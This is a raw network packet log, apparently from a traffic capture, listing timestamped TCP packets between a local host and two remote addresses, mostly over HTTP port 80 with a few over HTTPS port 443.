Dec 7, 2024 22:40:39.506334066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.506377935 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.507405043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.507453918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.507514000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.507571936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.508521080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.508574009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.508578062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.508614063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.509674072 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.509727001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.509768009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.509809017 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.510870934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.510921955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.510966063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.511013985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.511969090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.512012005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.512079000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.512123108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.513113022 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.513156891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.513228893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.513273954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.514266968 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.514318943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.514375925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.514409065 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.515451908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.515505075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.515646935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.515695095 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.516570091 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.516621113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.516684055 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.516864061 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.532321930 CET	443	49795	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:39.532383919 CET	443	49795	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:39.532639027 CET	49795	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:39.532639027 CET	49795	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:39.532639027 CET	49795	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:39.535284996 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:39.535319090 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:39.535398006 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:39.535563946 CET	49800	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:39.535576105 CET	443	49800	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:39.618433952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.618451118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.618586063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.618751049 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.618801117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.618854046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.618988037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.619939089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.619995117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.620028973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.620069981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.621139050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.621200085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.621233940 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.621285915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.622313023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.622330904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.622371912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.623380899 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.623439074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.623486996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.623564005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.624485970 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.624603033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.624658108 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.625648975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.625767946 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.625786066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.625808954 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.626738071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.626789093 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.626806974 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.627019882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.627918005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.627964020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.628041029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.628108978 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.629230976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.629285097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.629357100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.629405022 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.630508900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.630527020 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.630562067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.630570889 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.631341934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.631355047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.631393909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.632004023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.632055998 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.632128954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.632225037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.633168936 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.633222103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.633285046 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.633330107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.634120941 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.634165049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.634207010 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.634248972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.635071993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.635124922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.635245085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.635289907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.636149883 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.636199951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.636207104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.636245012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.637025118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.637073994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.637113094 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.637155056 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.638070107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.638119936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.638180971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.638226986 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.638891935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.638938904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.638979912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.639054060 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.639844894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.639894009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.639972925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.640021086 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.640918016 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.640963078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.640966892 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.640995026 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.641730070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.641776085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.641820908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.641864061 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.642673969 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.642788887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.642793894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.642833948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.643671036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.643718958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.643775940 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.643821001 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.644576073 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.644623041 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.644679070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.644721985 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.645555973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.645603895 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.645662069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.645709038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.646470070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.646523952 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.646559000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.646605968 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.647387981 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.647435904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.647502899 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.647542953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.648472071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.648523092 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.648546934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.648591042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.649286032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.649338961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.649496078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.649543047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.650229931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.650278091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.650357962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.650408983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.651180029 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.651228905 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.651278973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.651330948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.652116060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.652172089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.652234077 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.652281046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.653153896 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.653202057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.653235912 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.653279066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.654021978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.654067993 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.654109955 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.654155016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.654968023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.655050993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.655092955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.655910969 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.656013966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.656065941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.656847954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.656897068 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.656948090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.657790899 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.657846928 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.657960892 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.658308029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.658751965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.658921003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.658983946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.659717083 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.659815073 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.659877062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.660645008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.660721064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.660726070 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.661576033 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.661626101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.661644936 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.662523985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.662575006 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.662611961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.662647963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.663444042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.663556099 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.663608074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.664422989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.664551973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.664601088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.665328026 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.665378094 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.665419102 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.666280031 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.666327000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.666413069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.666505098 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.667239904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.667356968 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.667406082 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.668199062 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.668265104 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.668318033 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.669117928 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.669167995 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.669286966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.670053005 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.670123100 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.810424089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.810492992 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.810493946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.810533047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.810688972 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.810806036 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.810862064 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.811656952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.811714888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.811722994 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.811862946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.812618971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.812681913 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.812700987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.812724113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.813532114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.813580036 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.813647985 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.813699961 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.814541101 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.814591885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.814605951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.814644098 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.815440893 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.815488100 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.815531015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.815574884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.816390038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.816442013 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.816492081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.816535950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.817301035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.817344904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.817410946 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.817451000 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.818278074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.818325043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.818372965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.818416119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.819214106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.819266081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.819305897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.819341898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.820173025 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.820219040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.820281982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.820328951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.821127892 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.821173906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.821218014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.821255922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.822119951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.822169065 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.822200060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.822240114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.823035002 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.823081017 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.823133945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.823174953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.823973894 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.824018002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.824093103 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.824131966 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.824883938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.824930906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.824995041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.825061083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.825865984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.825913906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.826064110 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.826109886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.826781034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.826827049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.826934099 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.826977015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.827724934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.827768087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.827811003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.827855110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.828664064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.828716040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.828783035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.828823090 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.829610109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.829651117 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.829751015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.829794884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.830620050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.830668926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.830730915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.830777884 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.831502914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.831552029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.831635952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.831676006 CET	49790	80	192.168.2.6	185.215.113.206
